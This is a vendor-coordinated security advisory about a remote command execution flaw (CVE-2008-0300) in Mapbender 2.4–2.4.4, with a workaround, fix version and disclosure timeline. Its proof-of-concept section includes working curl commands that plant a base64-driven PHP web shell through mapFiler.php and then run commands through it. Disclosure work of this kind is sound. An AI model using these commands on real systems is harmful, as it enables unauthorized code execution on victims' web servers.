Advisory: Remote Command Execution in Mapbender

During a penetration test RedTeam Pentesting discovered a remote command
execution vulnerability in Mapbender. An unauthorized user can create
arbitrary PHP-files on the Mapbender webserver, which can later be
executed.


Details
=======

Product: Mapbender
Affected Versions: 2.4 - 2.4.4 (verified), probably older versions, too
Fixed Versions: 2.4.5rc1
Vulnerability Type: Remote Command Execution
Security-Risk: high
Vendor-URL: http://www.mapbender.org
Vendor-Status: informed, fixed version released
Advisory-URL: http://www.redteam-pentesting.de/advisories/rt-sa-2008-001.php
Advisory-Status: public
CVE: CVE-2008-0300
CVE-URL: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-0300


Introduction
============

"Mapbender is the software and portal site for geodata management of OGC
OWS architectures. The software provides web technology for managing
spatial data services implemented in PHP, JavaScript and XML. It
provides a data model and interfaces for displaying, navigating and
querying OGC compliant map services. The Mapbender framework furthermore
provides authentication and authorization services, OWS proxy
functionality, management interfaces for user, group and service
administration in WebGIS projects."

(from the vendor's homepage)


More Details
============

The Mapbender software comes with a script mapFiler.php, which is
located at

http://www.example.com/tools/mapFiler.php

Due to the lack of input filtering, an attacker is able to enter valid PHP
code in the "factor" input field. This PHP code is written into a newly
generated file in the Mapbender webfolder. Therefore, it is possible to
remotely execute the code by requesting the new file.


Proof of Concept
================

For this example, the user account which is used to execute php scripts
needs permissions to write files to the tmp directory. Any other directory
with write permissions in the web root can be used, too.

Calling

curl -d "myLocation=../tmp/.&factor=<?php passthru(base64_decode(
    \$_GET[c])) ?>.php&button=let's go" http://www.example.com/
    tools/mapFiler.php

creates a file

tmp/_\<\?php\ passthru\(base64_decode\(\$_GET\[c\]\)\)\ \?\>.php.

with the content:

#Modified by MapbenderTools
#Date: 14.01.2008
#Factor: <?php passthru(base64_decode($_GET[c])) ?>.php

This script can then be executed by calling:

curl -g 'http://www.example.com/tmp/_<%3fphp%20passthru(base64_decode(
    $_GET[c]))%20%3f>.php.?c=aWQ'

It returns:

#Modified by MapbenderTools
#Date: 15.01.2008
#Factor: uid=33(www-data) gid=33(www-data) groups=33(www-data)
.php

Commands sent to the script have to be base64 encoded and will be decoded by the
PHP code, to avoid possible URL filtering on the victim's side.


Workaround
==========

If not needed, the mapfiler.php script can be removed. Otherwise, it can
be protected by using an .htaccess directive.


Fix
===

The vulnerability is fixed in release 2.4.5 rc1.


Security Risk
=============

The security risk is rated as high. An attacker can execute arbitrary
commands remotely with the rights of the webserver.


History
=======

2007-12-14 Problem identified during a penetration test
2008-01-09 Customer approves contacting of Mapbender developers
2008-01-17 CVE number assigned
2008-03-10 Vendor releases fixed version
2008-03-11 Advisory released


RedTeam Pentesting GmbH
=======================

RedTeam Pentesting is offering individual penetration tests, short
pentests, performed by a team of specialised IT-security experts.
Hereby, security weaknesses in company networks or products are
uncovered and can be fixed immediately.

As there are only few experts in this field, RedTeam Pentesting wants to
share its knowledge and enhance the public knowledge with research in
security related areas. The results are made available as public
security advisories.

More information about RedTeam Pentesting can be found at
http://www.redteam-pentesting.de.